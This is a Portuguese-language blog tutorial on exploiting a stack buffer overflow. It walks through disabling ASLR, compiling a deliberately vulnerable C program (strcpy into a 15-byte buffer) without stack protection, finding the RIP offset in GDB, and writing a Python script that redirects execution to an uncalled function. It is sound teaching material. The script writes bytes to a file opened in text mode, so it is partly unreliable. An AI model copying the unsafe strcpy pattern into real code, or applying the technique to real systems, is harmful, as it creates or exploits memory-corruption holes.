Posts Buffer Overflow - Executando uma função que não é chamada durante a execução do programa
Post
Cancel

Buffer Overflow - Executando uma função que não é chamada durante a execução do programa

Mais um exemplo de buffer overflow, agora, vamos forçar a execução de uma função que não está sendo chamada na execução do programa.

Neste exemplo, vou utilizar um binário compilado para x86_x64. Porém, o mesmo exemplo pode ser reproduzido num ambiente x86, basta prestar atenção nos registradores.

Antes de iniciarmos, desabilite o ASLR.

1
2
sudo su - 
echo 0 > /proc/sys/kernel/randomize_va_space

Código fonte

Crie um arquivo main.c com o código abaixo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char *input)
{
	char buffer[15];
	strcpy(buffer, input);

	return 0;
}

void letsprint()
{
	printf("0xdutra.com");
	exit(0);
}

int main(int argc, char *argv[])
{
	copytobuffer(argv[1]);
	return 0;
}

Repare que nosso programa não chama a função letsprint em nenhum momento. Vamos chamar ela atráves da exploração do buffer overflow.

Compilando o binário

Para compilar, vamos utilizar o GCC, caso não o tenha instalado, rode sudo apt install gcc.

1
gcc -fno-stack-protector -z execstack main.c -o main

Exploração

A exploração é bem simples, só precisamos controlar a execução do registrador RIP. também conhecido como EIP em ambientes x86. o RIP é o registrador responsável por controlar a próxima instrusão que será executada pela CPU.

Vamos utilizar o GDB para analisarmos o binário, caso não o tenha instalado, rode sudo apt install gdb.

1
gdb -q main

Agora, vamos precisar encontrar a quantidade de bytes necessário para sobreescrever os registradores até chegarmos no RIP. Como não estamos utilizando nenhuma ferramenta de fuzzing, o processo vai ser bem manual, aconselho você começar a partir dos 20 bytes, visto que nosso buffer possui 15 bytes de tamanho.

Com o gdb aberto, rode o comando abaixo.

1
run `perl -e 'print "A" x 20'`

GDB

No meu caso, não foi o suficiente para sobreescrever o RIP, porém, conseguimos sobreescrever o RBP, isso signifca que estamos indo para o caminho certo, vamos aumentar mais alguns bytes.

Novamente, com o gdb aberto, rode o comando abaixo.

1
run `perl -e 'print "A" x 23'`

GDB

Olha que interessante, achamos a quantidade exata de bytes para começar a escrever dados no registrador RIP, veja que ele está apontando para um byte nulo. Agora, podemos colocar qualquer coisa no registrador.

Testando o controle do registrador.

1
run `perl -e 'print "A" x 23 ; print "B" x 6'`

GDB

Veja que agora no RIP aponta para um endereço x4242…que são exatamente os 6 bytes ‘B’ que colocamos no registrador.

Descobrindo o endereço da função

Continuando no GDB, vamos precisar descobrir o endereço da função que vamos colocar no RIP para ser executada.

Utilize o comando abaixo.

1
disass letsprint

GDB

No meu caso, o endereço de memória do início da função letsprint é o 0x000055555555517b.

Em outro terminal, criei um arquivo memory.py e cole o conteúdo abaixo.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python

from struct import *

buffer = b''
buffer += b'a' * 23
buffer += pack("<Q", 0x000055555555517b)


f = open("input.txt", "w+")
f.write(buffer)
f.write('\n')

Lembra-se de trocar o endereço 0x000055555555517b pelo endereço que você encontrou.

Execute o comando python memory.py, um arquivo input.txt será criado no diretório que você está.

Agora, no gdb, execute o comando abaixo.

1
run $(cat input.txt)

GDB

Veja que a função letsprint foi executada com sucesso. Agora, vamos sair do gdb e executar o programa que compilamos.

1
quit

Agora

1
./main $(cat input.txt)

GDB

Referências

  • Hacking - The Art of Exploitation (Jon Erickson)

Dúvidas

Fique a vontade para me enviar um email caso tenha dúvidas. Segue meu contato.

[+] - 0xdutra@gmail.com

[+] - https://twitter.com/0xdutra

This post is licensed under CC BY 4.0 by the author.
Trending Tags
Contents

Trending Tags